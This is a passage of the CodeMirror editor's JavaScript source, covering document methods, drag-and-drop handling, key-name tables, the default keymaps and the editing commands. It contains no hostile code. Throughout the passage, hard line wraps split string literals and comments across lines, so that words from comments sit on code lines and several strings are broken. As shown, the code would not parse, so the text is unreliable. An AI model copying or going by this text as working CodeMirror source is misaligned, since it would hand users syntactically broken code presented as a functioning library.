                span.from == null && lineNo != from.line ||
                span.from != null && lineNo == to.line &&
span.from >= to.ch) &&
              (!filter || filter(span.marker)))
            { found.push(span.marker.parent || span.marker); }
        } }
        ++lineNo;
      });
      return found
    },
    getAllMarks: function() {
      var markers = [];
      this.iter(function (line) {
        var sps = line.markedSpans;
        if (sps) { for (var i = 0; i < sps.length; ++i)
          { if (sps[i].from != null) { markers.push(sps[i].marker); } } }
      });
      return markers
    },

    posFromIndex: function(off) {
      var ch, lineNo = this.first, sepSize = this.lineSeparator().length;
      this.iter(function (line) {
        var sz = line.text.length + sepSize;
        if (sz > off) { ch = off; return true }
        off -= sz;
        ++lineNo;
      });
      return clipPos(this, Pos(lineNo, ch))
    },
    indexFromPos: function (coords) {
      coords = clipPos(this, coords);
      var index = coords.ch;
      if (coords.line < this.first || coords.ch < 0) { return 0 }
      var sepSize = this.lineSeparator().length;
      this.iter(this.first, coords.line, function (line) { // iter aborts
when callback returns a truthy value
        index += line.text.length + sepSize;
      });
      return index
    },

    copy: function(copyHistory) {
      var doc = new Doc(getLines(this, this.first, this.first + this.size),
                        this.modeOption, this.first, this.lineSep,
this.direction);
      doc.scrollTop = this.scrollTop; doc.scrollLeft = this.scrollLeft;
      doc.sel = this.sel;
      doc.extend = false;
      if (copyHistory) {
        doc.history.undoDepth = this.history.undoDepth;
        doc.setHistory(this.getHistory());
      }
      return doc
    },

    linkedDoc: function(options) {
      if (!options) { options = {}; }
      var from = this.first, to = this.first + this.size;
      if (options.from != null && options.from > from) { from =
options.from; }
      if (options.to != null && options.to < to) { to =
options.to; }
      var copy = new Doc(getLines(this, from, to), options.mode ||
this.modeOption, from, this.lineSep, this.direction);
      if (options.sharedHist) { copy.history = this.history
      ; }(this.linked || (this.linked = [])).push({doc: copy, sharedHist:
options.sharedHist});
      copy.linked = [{doc: this, isParent: true, sharedHist:
options.sharedHist}];
      copySharedMarkers(copy, findSharedMarkers(this));
      return copy
    },
    unlinkDoc: function(other) {
      if (other instanceof CodeMirror) { other = other.doc; }
      if (this.linked) { for (var i = 0; i < this.linked.length; ++i) {
        var link = this.linked[i];
        if (link.doc != other) { continue }
        this.linked.splice(i, 1);
        other.unlinkDoc(this);
        detachSharedMarkers(findSharedMarkers(this));
        break
      } }
      // If the histories were shared, split them again
      if (other.history == this.history) {
        var splitIds = [other.id];
        linkedDocs(other, function (doc) { return splitIds.push(doc.id); },
true);
        other.history = new History(null);
        other.history.done = copyHistoryArray(this.history.done, splitIds);
        other.history.undone = copyHistoryArray(this.history.undone,
splitIds);
      }
    },
    iterLinkedDocs: function(f) {linkedDocs(this, f);},

    getMode: function() {return this.mode},
    getEditor: function() {return this.cm},

    splitLines: function(str) {
      if (this.lineSep) { return str.split(this.lineSep) }
      return splitLinesAuto(str)
    },
    lineSeparator: function() { return this.lineSep || "\n" },

    setDirection: docMethodOp(function (dir) {
      if (dir != "rtl") { dir = "ltr"; }
      if (dir == this.direction) { return }
      this.direction = dir;
      this.iter(function (line) { return line.order = null; });
      if (this.cm) { directionChanged(this.cm); }
    })
  });

  // Public alias.
  Doc.prototype.eachLine = Doc.prototype.iter;

  // Kludge to work around strange IE behavior where it'll sometimes
  // re-fire a series of drag-related events right after the drop (#1551)
  var lastDrop = 0;

  function onDrop(e) {
    var cm = this;
    clearDragCursor(cm);
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))
      { return }
    e_preventDefault(e);
    if (ie) { lastDrop = +new Date; }
    var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;
    if (!pos || cm.isReadOnly()) { return }
    // Might be a file drop, in which case we simply extract the text
    // and insert it.
    if (files && files.length && window.FileReader
&& window.File) {
      var n = files.length, text = Array(n), read = 0;
      var markAsReadAndPasteIfAllFilesAreRead = function () {
        if (++read == n) {
          operation(cm, function () {
            pos = clipPos(cm.doc, pos);
            var change = {from: pos, to: pos,
                          text: cm.doc.splitLines(
                              text.filter(function (t) { return t != null;
}).join(cm.doc.lineSeparator())),
                          origin: "paste"};
            makeChange(cm.doc, change);
            setSelectionReplaceHistory(cm.doc,
simpleSelection(clipPos(cm.doc, pos), clipPos(cm.doc, changeEnd(change))));
          })();
        }
      };
      var readTextFromFile = function (file, i) {
        if (cm.options.allowDropFileTypes &&
            indexOf(cm.options.allowDropFileTypes, file.type) == -1) {
          markAsReadAndPasteIfAllFilesAreRead();
          return
        }
        var reader = new FileReader;
        reader.onerror = function () { return
markAsReadAndPasteIfAllFilesAreRead(); };
        reader.onload = function () {
          var content = reader.result;
          if (/[\x00-\x08\x0e-\x1f]{2}/.test(content)) {
            markAsReadAndPasteIfAllFilesAreRead();
            return
          }
          text[i] = content;
          markAsReadAndPasteIfAllFilesAreRead();
        };
        reader.readAsText(file);
      };
      for (var i = 0; i < files.length; i++) {
readTextFromFile(files[i], i); }
    } else { // Normal drop
      // Don't do a replace if the drop happened inside of the
selected text.
      if (cm.state.draggingText && cm.doc.sel.contains(pos) >
-1) {
        cm.state.draggingText(e);
        // Ensure the editor is re-focused
        setTimeout(function () { return cm.display.input.focus(); }, 20);
        return
      }
      try {
        var text$1 = e.dataTransfer.getData("Text");
        if (text$1) {
          var selected;
          if (cm.state.draggingText && !cm.state.draggingText.copy)
            { selected = cm.listSelections(); }
          setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));
          if (selected) { for (var i$1 = 0; i$1 < selected.length;
++i$1)
            { replaceRange(cm.doc, "", selected[i$1].anchor,
selected[i$1].head, "drag"); } }
          cm.replaceSelection(text$1, "around",
"paste");
          cm.display.input.focus();
        }
      }
      catch(e$1){}
    }
  }

  function onDragStart(cm, e) {
    if (ie && (!cm.state.draggingText || +new Date - lastDrop <
100)) { e_stop(e); return }
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) { return }

    e.dataTransfer.setData("Text", cm.getSelection());
    e.dataTransfer.effectAllowed = "copyMove";

    // Use dummy image instead of default browsers image.
    // Recent Safari (~6.0.2) have a tendency to segfault when this
happens, so we don't do it there.
    if (e.dataTransfer.setDragImage && !safari) {
      var img = elt("img", null, null, "position: fixed;
left: 0; top: 0;");
      img.src =
"data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
      if (presto) {
        img.width = img.height = 1;
        cm.display.wrapper.appendChild(img);
        // Force a relayout, or Opera won't use our image for some
obscure reason
        img._top = img.offsetTop;
      }
      e.dataTransfer.setDragImage(img, 0, 0);
      if (presto) { img.parentNode.removeChild(img); }
    }
  }

  function onDragOver(cm, e) {
    var pos = posFromMouse(cm, e);
    if (!pos) { return }
    var frag = document.createDocumentFragment();
    drawSelectionCursor(cm, pos, frag);
    if (!cm.display.dragCursor) {
      cm.display.dragCursor = elt("div", null,
"CodeMirror-cursors CodeMirror-dragcursors");
      cm.display.lineSpace.insertBefore(cm.display.dragCursor,
cm.display.cursorDiv);
    }
    removeChildrenAndAdd(cm.display.dragCursor, frag);
  }

  function clearDragCursor(cm) {
    if (cm.display.dragCursor) {
      cm.display.lineSpace.removeChild(cm.display.dragCursor);
      cm.display.dragCursor = null;
    }
  }

  // These must be handled carefully, because naively registering a
  // handler for each editor will cause the editors to never be
  // garbage collected.

  function forEachCodeMirror(f) {
    if (!document.getElementsByClassName) { return }
    var byClass = document.getElementsByClassName("CodeMirror"),
editors = [];
    for (var i = 0; i < byClass.length; i++) {
      var cm = byClass[i].CodeMirror;
      if (cm) { editors.push(cm); }
    }
    if (editors.length) { editors[0].operation(function () {
      for (var i = 0; i < editors.length; i++) { f(editors[i]); }
    }); }
  }

  var globalsRegistered = false;
  function ensureGlobalHandlers() {
    if (globalsRegistered) { return }
    registerGlobalHandlers();
    globalsRegistered = true;
  }
  function registerGlobalHandlers() {
    // When the window resizes, we need to refresh active editors.
    var resizeTimer;
    on(window, "resize", function () {
      if (resizeTimer == null) { resizeTimer = setTimeout(function () {
        resizeTimer = null;
        forEachCodeMirror(onResize);
      }, 100); }
    });
    // When the window loses focus, we want to show the editor as blurred
    on(window, "blur", function () { return
forEachCodeMirror(onBlur); });
  }
  // Called when the window resizes
  function onResize(cm) {
    var d = cm.display;
    // Might be a text scaling operation, clear size caches.
    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
    d.scrollbarsClipped = false;
    cm.setSize();
  }

  var keyNames = {
    3: "Pause", 8: "Backspace", 9: "Tab", 13:
"Enter", 16: "Shift", 17: "Ctrl", 18:
"Alt",
    19: "Pause", 20: "CapsLock", 27: "Esc",
32: "Space", 33: "PageUp", 34: "PageDown",
35: "End",
    36: "Home", 37: "Left", 38: "Up", 39:
"Right", 40: "Down", 44: "PrintScrn", 45:
"Insert",
    46: "Delete", 59: ";", 61: "=", 91:
"Mod", 92: "Mod", 93: "Mod",
    106: "*", 107: "=", 109: "-", 110:
".", 111: "/", 145: "ScrollLock",
    173: "-", 186: ";", 187: "=", 188:
",", 189: "-", 190: ".", 191: "/",
192: "`", 219: "[", 220: "\\",
    221: "]", 222: "'", 63232: "Up",
63233: "Down", 63234: "Left", 63235: "Right",
63272: "Delete",
    63273: "Home", 63275: "End", 63276:
"PageUp", 63277: "PageDown", 63302: "Insert"
  };

  // Number keys
  for (var i = 0; i < 10; i++) { keyNames[i + 48] = keyNames[i + 96] =
String(i); }
  // Alphabetic keys
  for (var i$1 = 65; i$1 <= 90; i$1++) { keyNames[i$1] =
String.fromCharCode(i$1); }
  // Function keys
  for (var i$2 = 1; i$2 <= 12; i$2++) { keyNames[i$2 + 111] =
keyNames[i$2 + 63235] = "F" + i$2; }

  var keyMap = {};

  keyMap.basic = {
    "Left": "goCharLeft", "Right":
"goCharRight", "Up": "goLineUp",
"Down": "goLineDown",
    "End": "goLineEnd", "Home":
"goLineStartSmart", "PageUp": "goPageUp",
"PageDown": "goPageDown",
    "Delete": "delCharAfter", "Backspace":
"delCharBefore", "Shift-Backspace":
"delCharBefore",
    "Tab": "defaultTab", "Shift-Tab":
"indentAuto",
    "Enter": "newlineAndIndent", "Insert":
"toggleOverwrite",
    "Esc": "singleSelection"
  };
  // Note that the save and find-related commands aren't defined by
  // default. User code or addons can define them. Unknown commands
  // are simply ignored.
  keyMap.pcDefault = {
    "Ctrl-A": "selectAll", "Ctrl-D":
"deleteLine", "Ctrl-Z": "undo",
"Shift-Ctrl-Z": "redo", "Ctrl-Y":
"redo",
    "Ctrl-Home": "goDocStart", "Ctrl-End":
"goDocEnd", "Ctrl-Up": "goLineUp",
"Ctrl-Down": "goLineDown",
    "Ctrl-Left": "goGroupLeft", "Ctrl-Right":
"goGroupRight", "Alt-Left": "goLineStart",
"Alt-Right": "goLineEnd",
    "Ctrl-Backspace": "delGroupBefore",
"Ctrl-Delete": "delGroupAfter", "Ctrl-S":
"save", "Ctrl-F": "find",
    "Ctrl-G": "findNext", "Shift-Ctrl-G":
"findPrev", "Shift-Ctrl-F": "replace",
"Shift-Ctrl-R": "replaceAll",
    "Ctrl-[": "indentLess", "Ctrl-]":
"indentMore",
    "Ctrl-U": "undoSelection",
"Shift-Ctrl-U": "redoSelection", "Alt-U":
"redoSelection",
    "fallthrough": "basic"
  };
  // Very basic readline/emacs-style bindings, which are standard on Mac.
  keyMap.emacsy = {
    "Ctrl-F": "goCharRight", "Ctrl-B":
"goCharLeft", "Ctrl-P": "goLineUp",
"Ctrl-N": "goLineDown",
    "Alt-F": "goWordRight", "Alt-B":
"goWordLeft", "Ctrl-A": "goLineStart",
"Ctrl-E": "goLineEnd",
    "Ctrl-V": "goPageDown", "Shift-Ctrl-V":
"goPageUp", "Ctrl-D": "delCharAfter",
"Ctrl-H": "delCharBefore",
    "Alt-D": "delWordAfter", "Alt-Backspace":
"delWordBefore", "Ctrl-K": "killLine",
"Ctrl-T": "transposeChars",
    "Ctrl-O": "openLine"
  };
  keyMap.macDefault = {
    "Cmd-A": "selectAll", "Cmd-D":
"deleteLine", "Cmd-Z": "undo",
"Shift-Cmd-Z": "redo", "Cmd-Y":
"redo",
    "Cmd-Home": "goDocStart", "Cmd-Up":
"goDocStart", "Cmd-End": "goDocEnd",
"Cmd-Down": "goDocEnd", "Alt-Left":
"goGroupLeft",
    "Alt-Right": "goGroupRight", "Cmd-Left":
"goLineLeft", "Cmd-Right": "goLineRight",
"Alt-Backspace": "delGroupBefore",
    "Ctrl-Alt-Backspace": "delGroupAfter",
"Alt-Delete": "delGroupAfter", "Cmd-S":
"save", "Cmd-F": "find",
    "Cmd-G": "findNext", "Shift-Cmd-G":
"findPrev", "Cmd-Alt-F": "replace",
"Shift-Cmd-Alt-F": "replaceAll",
    "Cmd-[": "indentLess", "Cmd-]":
"indentMore", "Cmd-Backspace":
"delWrappedLineLeft", "Cmd-Delete":
"delWrappedLineRight",
    "Cmd-U": "undoSelection", "Shift-Cmd-U":
"redoSelection", "Ctrl-Up": "goDocStart",
"Ctrl-Down": "goDocEnd",
    "fallthrough": ["basic", "emacsy"]
  };
  keyMap["default"] = mac ? keyMap.macDefault : keyMap.pcDefault;

  // KEYMAP DISPATCH

  function normalizeKeyName(name) {
    var parts = name.split(/-(?!$)/);
    name = parts[parts.length - 1];
    var alt, ctrl, shift, cmd;
    for (var i = 0; i < parts.length - 1; i++) {
      var mod = parts[i];
      if (/^(cmd|meta|m)$/i.test(mod)) { cmd = true; }
      else if (/^a(lt)?$/i.test(mod)) { alt = true; }
      else if (/^(c|ctrl|control)$/i.test(mod)) { ctrl = true; }
      else if (/^s(hift)?$/i.test(mod)) { shift = true; }
      else { throw new Error("Unrecognized modifier name: " +
mod) }
    }
    if (alt) { name = "Alt-" + name; }
    if (ctrl) { name = "Ctrl-" + name; }
    if (cmd) { name = "Cmd-" + name; }
    if (shift) { name = "Shift-" + name; }
    return name
  }

  // This is a kludge to keep keymaps mostly working as raw objects
  // (backwards compatibility) while at the same time support features
  // like normalization and multi-stroke key bindings. It compiles a
  // new normalized keymap, and then updates the old object to reflect
  // this.
  function normalizeKeyMap(keymap) {
    var copy = {};
    for (var keyname in keymap) { if (keymap.hasOwnProperty(keyname)) {
      var value = keymap[keyname];
      if (/^(name|fallthrough|(de|at)tach)$/.test(keyname)) { continue }
      if (value == "...") { delete keymap[keyname]; continue }

      var keys = map(keyname.split(" "), normalizeKeyName);
      for (var i = 0; i < keys.length; i++) {
        var val = (void 0), name = (void 0);
        if (i == keys.length - 1) {
          name = keys.join(" ");
          val = value;
        } else {
          name = keys.slice(0, i + 1).join(" ");
          val = "...";
        }
        var prev = copy[name];
        if (!prev) { copy[name] = val; }
        else if (prev != val) { throw new Error("Inconsistent bindings
for " + name) }
      }
      delete keymap[keyname];
    } }
    for (var prop in copy) { keymap[prop] = copy[prop]; }
    return keymap
  }

  function lookupKey(key, map, handle, context) {
    map = getKeyMap(map);
    var found = map.call ? map.call(key, context) : map[key];
    if (found === false) { return "nothing" }
    if (found === "...") { return "multi" }
    if (found != null && handle(found)) { return
"handled" }

    if (map.fallthrough) {
      if (Object.prototype.toString.call(map.fallthrough) != "[object
Array]")
        { return lookupKey(key, map.fallthrough, handle, context) }
      for (var i = 0; i < map.fallthrough.length; i++) {
        var result = lookupKey(key, map.fallthrough[i], handle, context);
        if (result) { return result }
      }
    }
  }

  // Modifier key presses don't count as 'real' key presses
for the
  // purpose of keymap fallthrough.
  function isModifierKey(value) {
    var name = typeof value == "string" ? value :
keyNames[value.keyCode];
    return name == "Ctrl" || name == "Alt" || name ==
"Shift" || name == "Mod"
  }

  function addModifierNames(name, event, noShift) {
    var base = name;
    if (event.altKey && base != "Alt") { name =
"Alt-" + name; }
    if ((flipCtrlCmd ? event.metaKey : event.ctrlKey) && base !=
"Ctrl") { name = "Ctrl-" + name; }
    if ((flipCtrlCmd ? event.ctrlKey : event.metaKey) && base !=
"Cmd") { name = "Cmd-" + name; }
    if (!noShift && event.shiftKey && base !=
"Shift") { name = "Shift-" + name; }
    return name
  }

  // Look up the name of a key as indicated by an event object.
  function keyName(event, noShift) {
    if (presto && event.keyCode == 34 &&
event["char"]) { return false }
    var name = keyNames[event.keyCode];
    if (name == null || event.altGraphKey) { return false }
    // Ctrl-ScrollLock has keyCode 3, same as Ctrl-Pause,
    // so we'll use event.code when available (Chrome 48+, FF 38+,
Safari 10.1+)
    if (event.keyCode == 3 && event.code) { name = event.code; }
    return addModifierNames(name, event, noShift)
  }

  function getKeyMap(val) {
    return typeof val == "string" ? keyMap[val] : val
  }

  // Helper for deleting text near the selection(s), used to implement
  // backspace, delete, and similar functionality.
  function deleteNearSelection(cm, compute) {
    var ranges = cm.doc.sel.ranges, kill = [];
    // Build up a set of ranges to kill first, merging overlapping
    // ranges.
    for (var i = 0; i < ranges.length; i++) {
      var toKill = compute(ranges[i]);
      while (kill.length && cmp(toKill.from, lst(kill).to) <= 0)
{
        var replaced = kill.pop();
        if (cmp(replaced.from, toKill.from) < 0) {
          toKill.from = replaced.from;
          break
        }
      }
      kill.push(toKill);
    }
    // Next, remove those actual ranges.
    runInOp(cm, function () {
      for (var i = kill.length - 1; i >= 0; i--)
        { replaceRange(cm.doc, "", kill[i].from, kill[i].to,
"+delete"); }
      ensureCursorVisible(cm);
    });
  }

  function moveCharLogically(line, ch, dir) {
    var target = skipExtendingChars(line.text, ch + dir, dir);
    return target < 0 || target > line.text.length ? null : target
  }

  function moveLogically(line, start, dir) {
    var ch = moveCharLogically(line, start.ch, dir);
    return ch == null ? null : new Pos(start.line, ch, dir < 0 ?
"after" : "before")
  }

  function endOfLine(visually, cm, lineObj, lineNo, dir) {
    if (visually) {
      if (cm.doc.direction == "rtl") { dir = -dir; }
      var order = getOrder(lineObj, cm.doc.direction);
      if (order) {
        var part = dir < 0 ? lst(order) : order[0];
        var moveInStorageOrder = (dir < 0) == (part.level == 1);
        var sticky = moveInStorageOrder ? "after" :
"before";
        var ch;
        // With a wrapped rtl chunk (possibly spanning multiple bidi
parts),
        // it could be that the last bidi part is not on the last visual
line,
        // since visual lines contain content order-consecutive chunks.
        // Thus, in rtl, we are looking for the first (content-order)
character
        // in the rtl chunk that is on the last line (that is, the same
line
        // as the last (content-order) character).
        if (part.level > 0 || cm.doc.direction == "rtl") {
          var prep = prepareMeasureForLine(cm, lineObj);
          ch = dir < 0 ? lineObj.text.length - 1 : 0;
          var targetTop = measureCharPrepared(cm, prep, ch).top;
          ch = findFirst(function (ch) { return measureCharPrepared(cm,
prep, ch).top == targetTop; }, (dir < 0) == (part.level == 1) ?
part.from : part.to - 1, ch);
          if (sticky == "before") { ch =
moveCharLogically(lineObj, ch, 1); }
        } else { ch = dir < 0 ? part.to : part.from; }
        return new Pos(lineNo, ch, sticky)
      }
    }
    return new Pos(lineNo, dir < 0 ? lineObj.text.length : 0, dir < 0
? "before" : "after")
  }

  function moveVisually(cm, line, start, dir) {
    var bidi = getOrder(line, cm.doc.direction);
    if (!bidi) { return moveLogically(line, start, dir) }
    if (start.ch >= line.text.length) {
      start.ch = line.text.length;
      start.sticky = "before";
    } else if (start.ch <= 0) {
      start.ch = 0;
      start.sticky = "after";
    }
    var partPos = getBidiPartAt(bidi, start.ch, start.sticky), part =
bidi[partPos];
    if (cm.doc.direction == "ltr" && part.level % 2 == 0
&& (dir > 0 ? part.to > start.ch : part.from < start.ch))
{
      // Case 1: We move within an ltr part in an ltr editor. Even with
wrapped lines,
      // nothing interesting happens.
      return moveLogically(line, start, dir)
    }

    var mv = function (pos, dir) { return moveCharLogically(line, pos
instanceof Pos ? pos.ch : pos, dir); };
    var prep;
    var getWrappedLineExtent = function (ch) {
      if (!cm.options.lineWrapping) { return {begin: 0, end:
line.text.length} }
      prep = prep || prepareMeasureForLine(cm, line);
      return wrappedLineExtentChar(cm, line, prep, ch)
    };
    var wrappedLineExtent = getWrappedLineExtent(start.sticky ==
"before" ? mv(start, -1) : start.ch);

    if (cm.doc.direction == "rtl" || part.level == 1) {
      var moveInStorageOrder = (part.level == 1) == (dir < 0);
      var ch = mv(start, moveInStorageOrder ? 1 : -1);
      if (ch != null && (!moveInStorageOrder ? ch >= part.from
&& ch >= wrappedLineExtent.begin : ch <= part.to &&
ch <= wrappedLineExtent.end)) {
        // Case 2: We move within an rtl part or in an rtl editor on the
same visual line
        var sticky = moveInStorageOrder ? "before" :
"after";
        return new Pos(start.line, ch, sticky)
      }
    }

    // Case 3: Could not move within this bidi part in this visual line, so
leave
    // the current bidi part

    var searchInVisualLine = function (partPos, dir, wrappedLineExtent) {
      var getRes = function (ch, moveInStorageOrder) { return
moveInStorageOrder
        ? new Pos(start.line, mv(ch, 1), "before")
        : new Pos(start.line, ch, "after"); };

      for (; partPos >= 0 && partPos < bidi.length; partPos
+= dir) {
        var part = bidi[partPos];
        var moveInStorageOrder = (dir > 0) == (part.level != 1);
        var ch = moveInStorageOrder ? wrappedLineExtent.begin :
mv(wrappedLineExtent.end, -1);
        if (part.from <= ch && ch < part.to) { return
getRes(ch, moveInStorageOrder) }
        ch = moveInStorageOrder ? part.from : mv(part.to, -1);
        if (wrappedLineExtent.begin <= ch && ch <
wrappedLineExtent.end) { return getRes(ch, moveInStorageOrder) }
      }
    };

    // Case 3a: Look for other bidi parts on the same visual line
    var res = searchInVisualLine(partPos + dir, dir, wrappedLineExtent);
    if (res) { return res }

    // Case 3b: Look for other bidi parts on the next visual line
    var nextCh = dir > 0 ? wrappedLineExtent.end :
mv(wrappedLineExtent.begin, -1);
    if (nextCh != null && !(dir > 0 && nextCh ==
line.text.length)) {
      res = searchInVisualLine(dir > 0 ? 0 : bidi.length - 1, dir,
getWrappedLineExtent(nextCh));
      if (res) { return res }
    }

    // Case 4: Nowhere to move
    return null
  }

  // Commands are parameter-less actions that can be performed on an
  // editor, mostly used for keybindings.
  var commands = {
    selectAll: selectAll,
    singleSelection: function (cm) { return
cm.setSelection(cm.getCursor("anchor"),
cm.getCursor("head"), sel_dontScroll); },
    killLine: function (cm) { return deleteNearSelection(cm, function
(range) {
      if (range.empty()) {
        var len = getLine(cm.doc, range.head.line).text.length;
        if (range.head.ch == len && range.head.line <
cm.lastLine())
          { return {from: range.head, to: Pos(range.head.line + 1, 0)} }
        else
          { return {from: range.head, to: Pos(range.head.line, len)} }
      } else {
        return {from: range.from(), to: range.to()}
      }
    }); },
    deleteLine: function (cm) { return deleteNearSelection(cm, function
(range) { return ({
      from: Pos(range.from().line, 0),
      to: clipPos(cm.doc, Pos(range.to().line + 1, 0))
    }); }); },
    delLineLeft: function (cm) { return deleteNearSelection(cm, function
(range) { return ({
      from: Pos(range.from().line, 0), to: range.from()
    }); }); },
    delWrappedLineLeft: function (cm) { return deleteNearSelection(cm,
function (range) {
      var top = cm.charCoords(range.head, "div").top + 5;
      var leftPos = cm.coordsChar({left: 0, top: top}, "div");
      return {from: leftPos, to: range.from()}
    }); },
    delWrappedLineRight: function (cm) { return deleteNearSelection(cm,
function (range) {
      var top = cm.charCoords(range.head, "div").top + 5;
      var rightPos = cm.coordsChar({left: cm.display.lineDiv.offsetWidth +
100, top: top}, "div");
      return {from: range.from(), to: rightPos }
    }); },
    undo: function (cm) { return cm.undo(); },
    redo: function (cm) { return cm.redo(); },
    undoSelection: function (cm) { return cm.undoSelection(); },
    redoSelection: function (cm) { return cm.redoSelection(); },
    goDocStart: function (cm) { return
cm.extendSelection(Pos(cm.firstLine(), 0)); },
    goDocEnd: function (cm) { return
cm.extendSelection(Pos(cm.lastLine())); },
    goLineStart: function (cm) { return cm.extendSelectionsBy(function
(range) { return lineStart(cm, range.head.line); },
      {origin: "+move", bias: 1}
    ); },
    goLineStartSmart: function (cm) { return cm.extendSelectionsBy(function
(range) { return lineStartSmart(cm, range.head); },
      {origin: "+move", bias: 1}
    ); },
    goLineEnd: function (cm) { return cm.extendSelectionsBy(function
(range) { return lineEnd(cm, range.head.line); },
      {origin: "+move", bias: -1}
    ); },
    goLineRight: function (cm) { return cm.extendSelectionsBy(function
(range) {
      var top = cm.cursorCoords(range.head, "div").top + 5;
      return cm.coordsChar({left: cm.display.lineDiv.offsetWidth + 100,
top: top}, "div")
    }, sel_move); },
    goLineLeft: function (cm) { return cm.extendSelectionsBy(function
(range) {
      var top = cm.cursorCoords(range.head, "div").top + 5;
      return cm.coordsChar({left: 0, top: top}, "div")
    }, sel_move); },
    goLineLeftSmart: function (cm) { return cm.extendSelectionsBy(function
(range) {
      var top = cm.cursorCoords(range.head, "div").top + 5;
      var pos = cm.coordsChar({left: 0, top: top}, "div");
      if (pos.ch < cm.getLine(pos.line).search(/\S/)) { return
lineStartSmart(cm, range.head) }
      return pos
    }, sel_move); },
    goLineUp: function (cm) { return cm.moveV(-1, "line"); },
    goLineDown: function (cm) { return cm.moveV(1, "line"); },
    goPageUp: function (cm) { return cm.moveV(-1, "page"); },
    goPageDown: function (cm) { return cm.moveV(1, "page"); },
    goCharLeft: function (cm) { return cm.moveH(-1, "char"); },
    goCharRight: function (cm) { return cm.moveH(1, "char"); },
    goColumnLeft: function (cm) { return cm.moveH(-1, "column");
},
    goColumnRight: function (cm) { return cm.moveH(1, "column");
},
    goWordLeft: function (cm) { return cm.moveH(-1, "word"); },
    goGroupRight: function (cm) { return cm.moveH(1, "group"); },
    goGroupLeft: function (cm) { return cm.moveH(-1, "group"); },
    goWordRight: function (cm) { return cm.moveH(1, "word"); },
    delCharBefore: function (cm) { return cm.deleteH(-1, "char");
},
    delCharAfter: function (cm) { return cm.deleteH(1, "char");
},
    delWordBefore: function (cm) { return cm.deleteH(-1, "word");
},
    delWordAfter: function (cm) { return cm.deleteH(1, "word");
},
    delGroupBefore: function (cm) { return cm.deleteH(-1,
"group"); },
    delGroupAfter: function (cm) { return cm.deleteH(1, "group");
},
    indentAuto: function (cm) { return
cm.indentSelection("smart"); },
    indentMore: function (cm) { return cm.indentSelection("add");
},
    indentLess: function (cm) { return
cm.indentSelection("subtract"); },
    insertTab: function (cm) { return cm.replaceSelection("\t");
},
    insertSoftTab: function (cm) {
      var spaces = [], ranges = cm.listSelections(), tabSize =
cm.options.tabSize;
      for (var i = 0; i < ranges.length; i++) {
        var pos = ranges[i].from();
        var col = countColumn(cm.getLine(pos.line), pos.ch, tabSize);
        spaces.push(spaceStr(tabSize - col % tabSize));
      }
      cm.replaceSelections(spaces);
    },
    defaultTab: function (cm) {
      if (cm.somethingSelected()) { cm.indentSelection("add"); }
      else { cm.execCommand("insertTab"); }
    },
    // Swap the two chars left and right of each selection's head.
    // Move cursor behind the two swapped characters afterwards.
    //
    // Doesn't consider line feeds a character.
    // Doesn't scan more than one line above to find a character.
    // Doesn't do anything on an empty line.
    // Doesn't do anything with non-empty selections.
    transposeChars: function (cm) { return runInOp(cm, function () {
      var ranges = cm.listSelections(), newSel = [];
      for (var i = 0; i < ranges.length; i++) {
        if (!ranges[i].empty()) { continue }
        var cur = ranges[i].head, line = getLine(cm.doc, cur.line).text;
        if (line) {
          if (cur.ch == line.length) { cur = new Pos(cur.line, cur.ch - 1);
}
          if (cur.ch > 0) {
            cur = new Pos(cur.line, cur.ch + 1);
            cm.replaceRange(line.charAt(cur.ch - 1) + line.charAt(cur.ch -
2),
                            Pos(cur.line, cur.ch - 2), cur,
"+transpose");
          } else if (cur.line > cm.doc.first) {
            var prev = getLine(cm.doc, cur.line - 1).text;
            if (prev) {
              cur = new Pos(cur.line, 1);
              cm.replaceRange(line.charAt(0) + cm.doc.lineSeparator() +
                              prev.charAt(prev.length - 1),
                              Pos(cur.line - 1, prev.length - 1), cur,
"+transpose");
            }
          }
        }
        newSel.push(new Range(cur, cur));
      }
      cm.setSelections(newSel);
    }); },
    newlineAndIndent: function (cm) { return runInOp(cm, function () {
      var sels = cm.listSelections();
      for (var i = sels.length - 1; i >= 0; i--)
        { cm.replaceRange(cm.doc.lineSeparator(), sels[i].anchor,
sels[i].head, "+input"); }
      sels = cm.listSelections();
      for (var i$1 = 0; i$1 < sels.length; i$1++)
        { cm.indentLine(sels[i$1].from().line, null, true); }
      ensureCursorVisible(cm);
    }); },
    openLine: function (cm) { return cm.replaceSelection("\n",
"start"); },
    toggleOverwrite: function (cm) { return cm.toggleOverwrite(); }
  };


  function lineStart(cm, lineN) {
    var line = getLine(cm.doc, lineN);
    var visual = visualLine(line);
    if (visual != line) { lineN = lineNo(visual); }
    return endOfLine(true, cm, visual, lineN, 1)
  }
  function lineEnd(cm, lineN) {
    var line = getLine(cm.doc, lineN);
    var visual = visualLineEnd(line);
    if (visual != line) { lineN = lineNo(visual); }
    return endOfLine(true, cm, line, lineN, -1)
  }
  function lineStartSmart(cm, pos) {
    var start = lineStart(cm, pos.line);
    var line = getLine(cm.doc, start.line);
    var order = getOrder(line, cm.doc.direction);
    if (!order || order[0].level == 0) {
      var firstNonWS = Math.max(start.ch, line.text.search(/\S/));
      var inWS = pos.line == start.line && pos.ch <= firstNonWS
&& pos.ch;
      return Pos(start.line, inWS ? 0 : firstNonWS, start.sticky)
    }
    return start
  }

  // Run a handler that was bound to a key.
  function doHandleBinding(cm, bound, dropShift) {
    if (typeof bound == "string") {
      bound = commands[bound];
      if (!bound) { return false }
    }
    // Ensure previous input has been read, so that the handler sees a
    // consistent view of the document
    cm.display.input.ensurePolled();
    var prevShift = cm.display.shift, done = false;
    try {
      if (cm.isReadOnly()) { cm.state.suppressEdits = true; }
      if (dropShift) { cm.display.shift = false; }
      done = bound(cm) != Pass;
    } finally {
      cm.display.shift = prevShift;
      cm.state.suppressEdits = false;
    }
    return done
  }

  function lookupKeyForEditor(cm, name, handle) {
    for (var i = 0; i < cm.state.keyMaps.length; i++) {
      var result = lookupKey(name, cm.state.keyMaps[i], handle, cm);
      if (result) { return result }
    }
    return (cm.options.extraKeys && lookupKey(name,
cm.options.extraKeys, handle, cm))
      || lookupKey(name, cm.options.keyMap, handle, cm)
  }

  // Note that, despite the name, this function is also used to check
  // for bound mouse clicks.
